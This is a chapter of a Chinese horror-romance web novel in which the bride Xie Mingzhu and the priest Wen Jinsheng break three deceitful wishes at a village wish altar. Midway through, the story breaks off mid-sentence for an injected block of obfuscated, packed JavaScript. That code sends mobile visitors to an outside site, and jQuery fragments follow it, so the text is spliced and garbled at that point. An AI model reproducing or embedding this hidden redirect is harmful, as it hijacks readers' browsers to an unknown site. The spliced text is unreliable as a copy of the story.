红纸上的字还在渗血。
——第三夜，请新娘入山神庙，许一愿。
谢明烛将红纸折好，收进袖中。
屋外那些哀求声没有停。
老人咳嗽，小孩哭喊，女人低泣，男人祷告。声音层层叠叠，贴着新娘房的门缝往里钻，像一群饿了很久的东西，终于闻见活人的气息。
“求新娘垂怜。”
“求新娘救命。”
“求新娘成全。”
谢明烛站在青灯下，忽然笑了一声。
“他们倒是会求。”
闻烬生看着门缝下渗进来的红雾，眼神沉冷。
“第三夜最难防。”
“比迎神和净宅还难？”
“迎神叫你的魂，净宅洗你的名。”闻烬生低声道，“请愿要的是你的心。”
谢明烛抬眼。
闻烬生说：“只要你觉得他们可怜，只要你动一瞬恻隐，只要你答应一个‘好’，愿就会成。”
谢明烛问：“愿成的代价是什么？”
“看愿望。”
“救人呢？”
闻烬生沉默片刻。
“用你的寿数。”
“求财呢？”
“用你的运。”
“求平安呢？”
“用你的命格。”
谢明烛听完，反而平静下来。
“怪不得他们都跪得这么快。”
她看向门外。
“原来不是求我，是分我。”
闻烬生没有反驳。
第三夜请愿，听上去温情，实则比前两夜更恶心。
前两夜至少还披着仪式的皮，到了这一夜，所有人的贪婪都可以换个好听的名字，叫“救命”、叫“平安”、叫“成全”。
谢明烛最厌恶的便是这种。
用眼泪求人割肉。
用苦难逼人点头。
用一句“你这么善良”，把人推上祭台。
她垂眼看着自己的手。
掌心还留着断红线烧出来的痕迹，指腹微微发麻。闻烬生给她的无舌铜铃压在袖中，冰冷沉重。
她问：“如果我一个都不答应呢？”
闻烬生看向她。
“他们会逼你。”
“怎么逼？”
“让你看见最惨的那个。”
他顿了顿。
“让你觉得，不答应就是你害死他。”
谢明烛笑了。
“很熟练。”
闻烬生没有说话。
他比她更清楚这座山有多熟练。
百年来，他们一直这样。
先把一个人选出来，再告诉她：你不死，所有人都会死。
谢明烛转身往外走。
闻烬生伸手拦了一下。
这一次，他没有碰她，只挡住门前半步。
“谢明烛。”
她停住。
闻烬生看着她：“你可以不听。”
谢明烛说：“不听，他们就会继续说是我冷血。”
“那又怎样？”
“确实不怎样。”她抬眼，神色很淡，“可我想看看，他们到底能把自己的贪心说得多可怜。”
闻烬生喉结轻动。
他看着她片刻，侧身让开。
只是她经过他身边时，他低声说：“请愿台上，可以问，不可以许。”
谢明烛脚步一顿。
“只能问？”
“问因，问价，问愿主。”
闻烬生说，“愿望最怕被问清楚。”
谢明烛回头看他。
“这也是规矩？”
“是漏洞。”
她忽然明白了。
规矩困住他。
可他也在这百年里，把规矩啃出了很多缺口。
他不是只会替她挡刀。
他一直在等她回来，等一个能亲手使用这些缺口的人。
谢明烛唇角动了动。
“知道了。”
闻烬生跟在她身后，低声道：“还有一件事。”
“说。”
“第三夜里，如果听见有人叫你阿烛，不要回头。”
谢明烛看向他。
闻烬生避开她的目光。
“那不是我。”
这句话轻得几乎听不见。
可谢明烛听见了。
她没有追问。
只是推开了新娘房的门。
门外，红雾扑面而来。
请愿台就设在谢家老宅院中。
院子中央不知何时多了一张长案，案上摆满白瓷碗。每只碗里都盛着黑水，水面漂着一枚红纸愿牌。
村民跪在长案两侧，密密麻麻，从院中一直跪到门外。
他们不看谢明烛的眼睛。
只盯着她袖口、手腕、衣角，像盯着某种可以分食的贡品。
秦班主站在台前。
他嗓子已经毁了，声音嘶哑破碎，却仍强撑着那副温和面孔。
“第三夜请愿。”
“雾隐山众生，可向新娘求三愿。”
“三愿若成，山中平安。”
“新娘若拒，百鬼噬心。”
他说完，台下立刻响起一片低泣。
有人开始磕头。
有人喊：“求新娘可怜可怜我们。”
还有人说：“谢小姐，你是城里来的，有本事，有命数，帮一帮山里人吧。”
谢明烛静静站着。
她没坐，也没跪。
红灯照在她脸上，衬得她皮肤雪白，眉眼冷而漂亮。她看上去不像被请来的新娘，倒像这场审判里唯一清醒的人。
秦班主看向她：“请新娘入座。”
长案后摆着一张红椅。
和戏台上那张神座不同，这张椅子矮一些，扶手却缠满红绳，椅背上贴着三个字。
听愿席。
谢明烛看了一眼，直接绕开。
秦班主脸色微变：“谢小姐，这是规矩。”
“我听得见，不必坐。”
“新娘坐席，愿才有主。”
谢明烛淡淡道：“我若坐了，你们的愿才方便落到我身上吧？”
秦班主脸上的笑终于淡了。
他还没开口，闻烬生已经走到长案旁，抬手将那张红椅踹翻。
砰的一声。
红椅砸在地上，扶手红绳断了两根。
院中一片死寂。
闻烬生收回脚，语气冷淡：“现在没席了。”
谢明烛看他一眼。
闻烬生神色未动。
仿佛刚才只是踢开一块挡路的石头。
秦班主脸色阴冷：“祭司，你今日坏的规矩太多了。”
闻烬生抬眼：“记上。”
秦班主喉间又咳出一点血。
谢明烛没有笑。
可她忽然觉得，闻烬生这人比她想的还疯。
不是外露的疯。
是那种把自己也算进代价里的疯。
秦班主不再看他，转身抬手：“第一愿。”
人群里很快爬出一个老妇。
老妇头发花白，额头已经磕破，怀里抱着一个七八岁的小男孩。男孩脸色青白，呼吸细弱，手脚无力垂着，看着确实病得很重。
老妇跪着往前挪，声音哭哑了：
“求新娘救救我孙儿。”
“他才七岁，什么都不懂，他不该死啊。”
周围村民纷纷低声附和。
“孩子可怜。”
“新娘行行好。”
“救人一命，胜造七级浮屠。”
“反正只是折一点寿，又不是要命……”
最后那句话不知道是谁说的，说完立刻没了声。
谢明烛看向老妇。
老妇哭得更惨：“谢小姐，我知道你心善。你救救他，只要你点个头，把你的寿分他一年，一年就够了。”
一年。
她说得那样轻。
像向别人借一碗米。
谢明烛问：“我若不借呢？”
老妇怔住。
谢明烛又问：“他死了，就算我害的？”
老妇哑然一瞬，随即哭道：“我不是这个意思，我只是没办法了……”
谢明烛低头看着黑水碗里的愿牌。
愿牌上写着：求孙儿活命。
字迹歪斜，墨色却新。
她伸手要拿，闻烬生提醒：“别沾水。”
谢明烛点头，用修复刀挑起愿牌一角。
愿牌离开水面，底下露出一行极淡的小字。
以新娘一年寿，续孙氏男丁一夜命。
一夜。
不是一年。
老妇说借她一年寿，愿牌上写的却是用她一年寿，换这孩子一夜命。
谢明烛抬眼：“你知道这上面写的是什么吗？”
老妇脸色僵了一下。
她知道。
谢明烛看出来了。
“你不是想救他一命。”她说，“你是想今晚别死在请愿台上。”
老妇嘴唇发抖：“我、我也是没办法……”
“他为什么会病？”
老妇不说话了。
谢明烛看向闻烬生。
闻烬生已经蹲下身，手指按在男孩腕间。
他此刻像完全换了一个人。
方才那个满身戾气、踹翻红椅的守山人不见了。此刻他的眉眼沉静，动作很稳，指腹探过脉，又翻开男孩眼睑，看了看舌色和指甲。
谢明烛忽然想起，他白天是山脚卫生院的医生。
这不是一个摆设身份。
他真的会救人。
片刻后，闻烬生站起身：“不是神罚。”
老妇猛地抬头。
闻烬生看着她：“朱砂、雄黄、安神汤，至少喝了半个月。”
秦班主脸色骤变。
老妇立刻喊：“胡说！那是班主给的护身汤，说喝了能避灾！”
闻烬生冷笑：“避灾？”
他看向秦班主。
“拿毒药喂孩子，再让他跪到请愿台上，求新娘用寿数续命。”
“秦兆年，你这些年生意倒是越做越精了。”
院中一片哗然。
谢明烛的眼神冷下来。
她看着老妇：“你知道汤有问题吗？”
老妇浑身颤抖，哭着摇头。
“不知道……我真的不知道……班主说孩子八字弱，要用护身汤压一压……”
这一次，她的恐惧是真的。
谢明烛看着那个小男孩。
男孩已经昏迷，嘴唇青白，手指无意识地蜷着。
他不是恶人。
至少现在不是。
这就是第三夜恶心的地方。
它不只拿贪婪困她。
还拿无辜者困她。
她若不救，孩子可能真的会死。
她若答应，愿就会落到她身上。
所有人都会说她该救。
只有她自己会被割走寿数。
闻烬生忽然道：“我能拖到天亮。”
谢明烛看向他。
他从袖中取出一个小药包，蹲下身，掰开男孩的嘴，把药粉一点点喂进去。动作冷静、迅速，没有半分犹豫。
“先吐出来，剩下的下山洗胃。”
谢明烛问：“需要什么？”
“清水。”
院中没人动。
所有人还沉浸在“护身汤是毒”的惊惧里。
闻烬生抬眼，声音冷得像刀：“要我请？”
几个村民立刻爬起来去取水。
谢明烛低头看着那枚愿牌。
愿牌在她刀尖下细细颤抖，像还想往她手上贴。
她忽然笑了笑。
“救命的愿，应该找医生。”
“索命的账，才该找我。”
她将愿牌翻过来，朱砂笔从旁边取来，在下面添了一行字。
愿主：秦兆年。
愿价：自偿。
秦班主脸色大变：“你敢！”
谢明烛把愿牌丢回黑水里。
水面轰然沸起。
愿牌上的朱砂字像活了过来，一笔一画反向爬出，扑向秦班主。
秦班主踉跄后退，喉咙里爆出一声惨叫。
他的头发肉眼可见地白了一缕。
院中所有人都吓得往后缩。
闻烬生一边按着男孩催吐，一边抬头看了谢明烛一眼。
那眼神里有一点很淡的赞许。
谢明烛回他一个平静的眼神。
不用夸。
她会。
第一愿，破。
黑水碗“咔”地裂开一道缝。
秦班主捂着喉咙，眼中恨意浓得几乎滴出来。
他咬牙道：“第二愿。”
这一次出来的是村长。
他双手捧着愿牌，跪得比老妇稳多了。
“求新娘保雾隐山今年无灾无病。”
这愿听起来很大，也很正。
院中村民立刻跟着磕头。
“求新娘保雾隐山。”
“求新娘保全村平安。”
谢明烛看着他们。
“全村平安。”
她慢慢重复。
“包括送我上祭台的人？”
没人回答。
村长抬头，眼神却很镇定：“谢小姐，你与谢家有怨，那是私怨。雾隐山还有许多无辜人。老人孩子，妇人病人，他们没害过你。”
谢明烛听得想笑。
“没害过我？”
她走到长案前，拿起第二枚愿牌。
这一次，她没有急着翻。
“那我问你们三个问题。”
村长脸色微沉：“请说。”
谢明烛道：“雾隐山每十八年选一次新娘，你们知道吗？”
没人说话。
“新娘进山后再也不回来，你们知道吗？”
仍然没人说话。
“谢家每一代被献女的名字都从族谱上刮掉，你们知道吗？”
死寂。
所有村民都低下头。
谢明烛看着他们，声音很轻。
“你们看。”
“一个问题都答不上来，却好意思说自己无辜。”
村长咬牙：“祖宗规矩如此，我们只是普通人，能做什么？”
谢明烛点头。
“能做很多。”
“比如送嫁衣，锁山门，熬安神汤，看见女孩逃出来时去告密。”
她的目光扫过跪着的人群。
“又比如现在，跪在这里，求我为了你们平安再死一次。”
那些村民的头更低。
但也有人小声说：“我们也是为了活着……”
谢明烛听见了。
她拿起愿牌，翻过背面。
背面果然有一行被水泡出的暗字：
以新娘命格，镇雾隐百户。
闻烬生眼神骤冷。
这不是求平安。
这是要她整个人压进雾隐山的命盘里。
一旦愿成，她就算活着，也出不了山。
谢明烛把那张愿牌举起来，让所有人看清楚。
“求平安是假。”
“要我镇山是真。”
村长脸色终于变了。
谢明烛看着他：“你刚才说，村里有无辜人。”
村长立刻道：“自然有。”
“好。”
谢明烛提笔，在愿牌下面写：
愿价：百年得利者偿。
村长意识到什么，猛地扑过来：“不行！”
闻烬生刀鞘一横，挡住他。
谢明烛已经将愿牌投进第二只黑水碗里。
水面一震。
下一瞬，雾隐山所有红灯同时暗了下去。
不是全灭。
只灭了一部分。
村东三户，村西五户，祠堂旁边两户，谢家老宅一排厢房，秦班主身后几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702972|208250||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个戏子手里的灯。
凡是灯灭之处，门上都慢慢浮出血字。
送衣。
熬药。
锁门。
告密。
收银。
一个个字在夜色里亮起来。
村民的脸彻底白了。
他们不再敢喊无辜。
因为愿牌把百年来“普通人做的小事”全都标了出来。
谢明烛看着那些血字。
“这才叫全村平安。”
她说。
“无辜的人安。”
“有罪的人，还。”
第二只黑水碗裂开。
第二愿，破。
这一次，院中没人再敢出声。
秦班主的脸色已经不能用难看来形容。
他死死盯着谢明烛，像终于意识到，眼前这个女人不是被逼到角落后才反咬一口的祭品。
她从进山开始，就在学这座山的规则。
而她学得太快了。
快到可怕。
秦班主忽然笑了一声。
声音破碎，带着血。
“好。”
“好一个谢明烛。”
他抬手，从袖中取出第三枚愿牌。
这枚愿牌与前两枚不同。
不是红纸。
是黑色的。
纸面没有字。
只有一道血印。
闻烬生看见那枚愿牌的瞬间，脸色彻底变了。
“别接。”
谢明烛看向他。
这是今晚他第一次用这种语气。
不是警告。
近乎命令。
秦班主笑了。
“祭司怕了。”
闻烬生的刀已经出鞘。
“秦兆年。”
“第三愿已经请出，祭司拦不住。”秦班主声音嘶哑，“这愿不是村里人求的。”
谢明烛盯着那枚黑色愿牌。
“谁求的？”
秦班主一字一顿：
“山神庙。”
院中风声骤停。
所有村民同时趴伏在地，连头都不敢抬。
黑色愿牌自己从秦班主手里飞起，落到长案中央第三只黑水碗上。
水面没有波纹。
像一只睁开的黑眼。
愿牌上的血印慢慢洇开，浮出一行字。
愿新娘取祭司眼中血，开山神庙门。
谢明烛看着那行字，心口忽然一沉。
眼中血。
她记得第六章里闻烬生说过。
百年前，她死前把血滴进了他的眼里。
从那以后，他看得见每一个被献祭的人，也听得见每一夜傩戏。
他的眼中血，不是普通血。
是她当年留给他的咒。
闻烬生看着那枚愿牌，眼神反而平静下来。
他收了刀。
谢明烛转头看他：“你做什么？”
闻烬生没有看她。
他只是从腰间取出那柄黑刃，反手递给她。
刀柄朝她。
刀刃朝自己。
院中所有人都屏住呼吸。
谢明烛没有接。
闻烬生终于抬眼看她。
他的脸色苍白，脖颈血痕还未愈，眼底却像一片沉到尽头的夜。
“你不是要进山神庙查神簿吗？”
他说。
“这是最快的路。”
谢明烛看着那柄刀。
“所以你让我取你的眼中血？”
闻烬生低声道：“只是血。”
“从眼睛里取，也叫只是？”
闻烬生停了一下。
“我不会死。”
谢明烛忽然笑了。
那笑很冷。
“闻烬生，你是不是活太久，忘了疼也算账？”
闻烬生握刀的手微微一僵。
秦班主在旁边低声笑起来。
“谢小姐，第三愿不应，百鬼噬心。”
黑水碗里开始冒出血泡。
愿牌上的字也变得越来越红。
院外，那些被标出罪名的人家门口，忽然传来鬼哭。
百鬼噬心。
不是形容。
是真的有什么东西，正从黑暗里醒来。
闻烬生把刀又往她面前递近一寸。
“谢明烛。”
“接刀。”
他的声音很轻。
“这一次，我自己愿意。”
谢明烛看着他。
百年前，他亲手为她戴嫁冠，说要带她进山神庙，抢回她的名字。
百年后，他又把刀递给她，要她取他的眼中血，替她开那扇门。
这个人像一把不会喊疼的刀。
可她偏偏已经看过刀是怎么被烧出来的。
谢明烛伸手。
所有人都以为她要接刀。
闻烬生也是。
可下一刻，她握住的不是刀柄。
而是闻烬生的手腕。
她把他的手连同那柄刀一起压了下去。
“我说过，我不喜欢别人替我疼。”
闻烬生瞳孔微缩。
谢明烛转身看向那枚黑色愿牌。
“第三愿，我听见了。”
秦班主眼底浮出得逞的笑。
谢明烛却继续道：
“但请愿有规矩。”
“问因，问价，问愿主。”
她抬眼，声音在满院红雾中清晰落下。
“愿主是谁？”
黑色愿牌一动不动。
谢明烛拿起朱砂笔，在愿牌旁边的空白处写下两个字。
无主。
字落的一瞬，黑水碗猛地震了一下。
秦班主脸色骤变。
“不可能！”
谢明烛笑了。
“山神庙若有主，就该写得出名字。”
她俯身看着那枚愿牌，一字一句道：
“写不出，就说明这愿不是山神求的。”
“是有人借山神庙的名义，想要他的血。”
黑水里忽然响起一声尖啸。
那声音不像人，也不像鬼。
更像某种藏在山神庙深处的东西，被她当众撕开了皮。
闻烬生看着她，眼底第一次露出近乎震动的神色。
谢明烛没有回头。
她提笔，在愿牌最后写下：
假愿，不应。
四个字落下，第三只黑水碗轰然炸裂。
黑水溅了一地。
秦班主惨叫一声，被无形的力道掀翻，重重撞在戏台柱上。
第三愿，破。
可就在黑水落地的瞬间，那枚黑色愿牌并没有消失。
它反而贴着地面滑向谢明烛。
最后停在她脚边。
纸面上又慢慢浮出一行新的字。
不是愿。
是门帖。
明夜子时，山神庙开。
只容新娘与祭司入内。
谢明烛垂眼看着那行字。
闻烬生走到她身侧，声音很低：
“第四夜之前，山神庙不会开门。”
谢明烛问：“现在提前了？”
“是。”
“为什么？”
闻烬生看着那枚黑色门帖。
“因为你破了三愿。”
谢明烛捡起门帖。
纸很冷。
像从死人舌下取出来的。
她抬眼，看向雾隐山深处。
那里黑得看不见尽头。
可她知道，有什么东西已经开始等她。
谢明烛将门帖收进袖中，唇边浮起一点笑。
“那就去。”
闻烬生看她。
谢明烛没有看他，只淡淡道：
“他们不是想要你的眼中血吗？”
“明夜我倒要看看。”
“山神庙里，究竟是谁这么惦记我的东西。”